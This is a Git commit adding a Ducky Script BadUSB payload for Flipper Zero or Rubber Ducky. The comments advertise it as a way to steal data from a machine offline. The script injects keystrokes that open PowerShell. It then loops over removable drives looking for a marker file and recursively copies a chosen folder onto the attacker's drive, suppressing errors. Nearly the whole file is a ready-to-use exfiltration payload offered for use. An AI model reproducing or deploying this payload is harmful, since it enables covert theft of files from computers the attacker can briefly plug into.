Add files via upload

2023-07-04 21:58:27 +02:00
parent 9211291ed2
commit 87ab7000d0
1 changed files with 68 additions and 0 deletions
@@ -0,0 +1,68 @@
+REM                                                                    _..._       .-'''-.                 .-'''-.
+REM                                                                 .-'_..._''.   '   _    \  .---.       '   _    \
+REM /|                                                            .' .'      '.\/   /` '.   \ |   |.--. /   /` '.   \
+REM ||    .-.          .-                                        / .'          .   |     \  ' |   ||__|.   |     \  '
+REM ||     \ \        / /                               .-,.--. . '            |   '      |  '|   |.--.|   '      |  '
+REM ||  __  \ \      / /                          __    |  .-. || |            \    \     / / |   ||  |\    \     / /
+REM ||/'__ '.\ \    / /            .--------.  .:--.'.  | |  | || |             `.   ` ..' /  |   ||  | `.   ` ..' /
+REM |:/`  '. '\ \  / /             |____    | / |   \ | | |  | |. '                '-...-'`   |   ||  |    '-...-'`
+REM ||     | | \ `  /                  /   /  `" __ | | | |  '-  \ '.          .              |   ||  |
+REM ||\    / '  \  /                 .'   /    .'.''| | | |       '. `._____.-'/              |   ||__|
+REM |/\'..' /   / /                 /    /___ / /   | |_| |         `-.______ /               '---'
+REM '  `'-'`|`-' /                 |         |\ \._,\ '/|_|                  `
+REM          '..'                  |_________| `--'  `"
+
+REM Do you want BadUSB / Ducky Script to exfill data from a machine but not online?
+REM This script tests all removable drive root directories for a certain file with a random file name.
+REM IF this file is detected, this means this drive is the removable you're using to exfill data to.
+REM How to use this script?
+REM Copy this Ducky script to your Flipper Zero or Rubber Ducky, generate a file with a random file name
+REM and change the value of $CopyFrom, $CopyTo and $FindMe below accordingly.
+
+DELAY 1000
+GUI r
+DELAY 1000
+STRING powershell
+ENTER
+DELAY 2000
+ENTER
+ALTCODE $CopyFrom = "C:\Windows"
+ENTER
+ALTCODE $CopyTo = "copy"
+ENTER
+ALTCODE $FindMe = "gfhnubkw.txt"
+ENTER
+ENTER
+STRING $f = $false
+ENTER
+STRING Cls
+ENTER
+STRING while (-not $f) {
+ENTER
+STRING $d = Get-WmiObject -Class Win32_Volume | Where-Object { $_.DriveType -eq 2 }
+ENTER
+STRING foreach ($e in $d) {
+ENTER
+STRING $p = Join-Path -Path $e.Name -ChildPath $FindMe
+ENTER
+STRING if (Test-Path $p) {
+ENTER
+STRING $f = $true
+ENTER
+ALTCODE Write-Host "Copying..."
+ENTER
+ALTCODE $Destination = "$($e.Name)\$CopyTo"
+ENTER
+STRING Copy-Item -Path $CopyFrom -Destination $Destination -Recurse -ErrorAction SilentlyContinue ; Exit
+ENTER
+STRING }
+ENTER
+STRING break
+ENTER
+STRING }
+ENTER
+STRING }
+ENTER
+STRING Exit
+ENTER
+